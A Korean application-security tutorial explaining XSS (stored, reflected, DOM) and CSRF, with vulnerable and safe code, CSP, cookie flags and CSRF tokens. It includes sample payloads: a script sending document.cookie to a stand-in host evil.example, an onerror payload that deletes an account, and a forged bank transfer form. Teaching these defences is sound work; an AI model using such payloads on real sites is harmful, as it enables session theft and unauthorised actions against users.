애플리케이션 보안

XSS와 CSRF

meellon 2026. 6. 27. 06:00

학습 목표

XSS(Cross-Site Scripting)가 브라우저에서 신뢰된 사이트 컨텍스트로 스크립트를 실행시키는 방식을 설명할 수 있다.

Stored·Reflected·DOM XSS입력·출력 경로 차이를 설명할 수 있다.

출력 인코딩·CSP·HttpOnly가 XSS 방어에서 맡는 역할을 설명할 수 있다.

CSRF(Cross-Site Request Forgery)가 쿠키 자동 전송으로 위조 요청을 만드는 방식을 설명할 수 있다.

SameSite·CSRF token·Origin 검증으로 CSRF를 막는 이유를 설명할 수 있다.

문제 상황

  • 게시판 댓글에 <script>fetch('/api/me').then(...)다른 사용자 브라우저에서 실행
    • 서버가 HTML에 그대로 삽입
  • 검색 ?q=<script>alert(1)</script> — 결과 페이지에 반사
    • Search: {{ q }} 템플릿 이스케이프 없음
  • SPA에서 element.innerHTML = userBioDOM XSS
    • API 응답은 "안전"해도 클라이언트 조립이 취약
  • HttpOnly 쿠키인데 XSS로 /transfer POST — CSRF와 결합 시 송금
  • SameSite=Lax만 — GET state change·서브도메인·SameSite=None API는 별도 대책
  • CSRF token 없이 <form action="https://bank/transfer"> — 피해자 로그인 상태면 위조 성공

Injection(앞 편)은 서버 인터프리터(SQL·shell) — XSS·CSRF는 브라우저가 피해자 대신 스크립트·요청을 실행.

본 글의 페이로드·예제는 방어·테스트 학습 목적이다. 허가 없는 시스템 공격은 불법이다.

1. XSS 개요

XSS — 공격자 입력이 HTML/JS 컨텍스트에 들어가 브라우저가 스크립트로 실행 (OWASP A03:2021 Injection 계열 · CWE-79).

유형 입력 저장 실행 시점
Stored DB·파일 영구 피해자가 해당 페이지 방문 게시판·프로필
Reflected URL·폼 일회 링크 클릭·리다이렉트 검색·에러 메시지
DOM 서버 저장 없음 클라이언트 JS가 DOM 삽입 innerHTML, document.write
공통:  untrusted data  →  HTML/JS context  →  browser executes
  • 영향 — 세션 탈취(localStorage), 키로거, 페이지 변조, CSRF 선행
  • 앞서 HttpOnly — document.cookie 직접 읽기는 막지만 요청은 브라우저가 대신 보냄

2. Reflected XSS

서버가 요청 값을 응답 HTML즉시 반영.

<!-- 취약 — code/xss-reflected-vulnerable.example -->
<p>Search results for: {{ query }}</p>

입력 query:

<script>document.location='https://evil.example/steal?c='+document.cookie</script>

방어 — 출력 인코딩

컨텍스트별 이스케이프 — HTML body·attribute·URL·JS 각각 규칙이 다름.

<!-- 안전 — code/xss-reflected-safe.example -->
<p>Search results for: {{ query | e }}</p>
# Jinja2 autoescape ON (기본)
from markupsafe import escape
html = f"<p>Search: {escape(query)}</p>"
컨텍스트 규칙
HTML text <p> &lt; &gt; &amp;
HTML attribute href, value attribute encoding
JavaScript inline script 피함 — JSON serialize + CSP
URL query param URL encoding
  • 입력 필터(<script> 제거)만 — <img onerror=...> 우회
  • 템플릿 엔진 autoescape 기본 ON — | safe·| raw 감사

3. Stored XSS

악성 스크립트가 DB에 저장 → 모든 방문자에게 반복 실행.

Attacker posts comment  →  DB  →  other users load page  →  script runs
  • Reflected보다 영향 범위 큼 — 관리자 한 번 방문해도 admin 세션 탈취
  • 방어 — 저장 시 검증 + 출력 시 인코딩 (둘 다; 출력이 본질)
  • Rich text — HTML sanitizer (DOMPurify, bleach) + allowlist 태그

4. DOM XSS

서버는 JSON만 주고, 프론트가 DOM에 안전하지 않게 넣을 때.

// 취약 — code/dom-xss-vulnerable.example
document.getElementById("bio").innerHTML = userBio;

userBio 값:

<img src=x onerror="fetch('/api/delete-account',{method:'POST'})">
// 안전 — code/dom-xss-safe.example
document.getElementById("bio").textContent = userBio;
// 또는 DOMPurify.sanitize(userBio) for rich HTML
API XSS 위험
innerHTML, outerHTML 높음
document.write 높음
textContent, createTextNode 낮음
eval, new Function 금지
  • SPA — 서버 XSS 없어도 클라이언트 경로 점검 필수
  • URL fragment #name=<script>...location.hash를 DOM에 넣지 않음

5. XSS 방어 계층

계층 XSS 비고
Output encoding HTML/attr/JS 컨텍스트 1차 방어
CSP script-src 'self' — inline·eval 제한 위반 report
HttpOnly cookie JS로 세션 읽기 차단 요청 위조는 CSRF
Subresource Integrity CDN 스크립트 변조 탐지 supply chain 보조
Framework default React {var} auto-escape dangerouslySetInnerHTML 주의
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'
  • CSP nonce/hash — 필요한 inline만 허용
  • 입력 validation — 길이·형식; HTML 허용 시 sanitizer

6. CSRF

CSRF — 피해자 브라우저가 로그인 쿠키를 붙여 의도하지 않은 요청 (CWE-352).

1. Victim logged in to bank.example (session cookie)
2. Victim visits evil.example
3. evil page: <form action="https://bank.example/transfer" method="POST">
4. Browser auto-attaches cookie → bank treats as victim's request
조건 설명
쿠키 기반 세션 브라우저가 자동 전송
예측 가능한 URL /transfer, /settings/email
Side effect GET으로 상태 변경 금지
  • Injection·XSS와 구분 — CSRF는 공격자 스크립트 실행 없이 HTML form·img만으로 가능
  • XSS 성공 시 CSRF token도 페이지에서 읽혀 무력화 — XSS 선행 방어 중요

7. CSRF 방어

SameSite (앞서 인증 기초)

cross-site POST 비고
Strict 전송 안 함 강함; OAuth redirect 주의
Lax top-level GET만 POST CSRF는 token 필요
None 전송 (Secure 필수) 서드파티 embed — token 필수
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax

CSRF token (Synchronizer Token)

서버가 세션과 묶인 랜덤 token — 위조 페이지는 값을 모름.

<!-- code/csrf-form-safe.example -->
<form method="POST" action="/transfer">
  <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
  ...
</form>
# code/csrf-middleware.example (발췌)
def validate_csrf(request):
    token = request.form.get("csrf_token")
    if not token or not secrets.compare_digest(token, request.session["csrf"]):
        abort(403)
패턴 설명
Synchronizer token form/header X-CSRF-Token
Double Submit Cookie cookie + header 동일 — SPA
Origin / Referer Origin 헤더 검증 — API 보조
  • GET — 상태 변경 절대 금지 (/delete?id=1 ❌)
  • JSON APIContent-Type: application/json + CORS + token; 단순 form CSRF 완화
  • OAuth state — CSRF와 동일 원리 (앞서 OAuth)

8. 테스트·체크리스트

XSS 확인
Template autoescape ON, | safe grep
API JSON — HTML 혼합 없음
SPA innerHTML·dangerouslySetInnerHTML grep
Header CSP 배포·report-uri
Cookie HttpOnly + Secure
CSRF 확인
State change POST/PUT/PATCH/DELETE only
Token 모든 state-changing form/API
SameSite Lax 이상; None이면 token 필수
Origin API gateway에서 검증
안티패턴  
blacklist filter <ScRiPt>·unicode 우회
CSRF token in GET URL·Referer 유출
"API는 JSON이라 안전" CORS misconfig + simple request

9. 정리

  • XSS — 출력 컨텍스트에 스크립트 삽입 — stored/reflected/DOM
  • 방어 — 출력 인코딩 + CSP + HttpOnly; 입력 필터만 불충분
  • CSRF — 쿠키 자동 전송으로 위조 요청
  • 방어 — SameSite + CSRF token + GET 상태 변경 금지
  • XSS와 CSRF 동시 점검 — XSS가 CSRF 방어 우회

다음에 다룰 것

  • Broken Access Control
  • IDOR, 수평·수직 권한 상승

해당 내용은 OWASP Top 10, OWASP XSS Prevention Cheat Sheet, OWASP CSRF Prevention Cheat Sheet, CWE-79 (Cross-site Scripting), CWE-352 (Cross-Site Request Forgery) 의 내용을 기반으로 합니다.

'애플리케이션 보안' 카테고리의 다른 글

OWASP Top 10  (0) 2026.06.29
Broken Access Control  (0) 2026.06.28
Injection  (0) 2026.06.26
인가 모델  (0) 2026.06.25
OpenID Connect  (0) 2026.06.24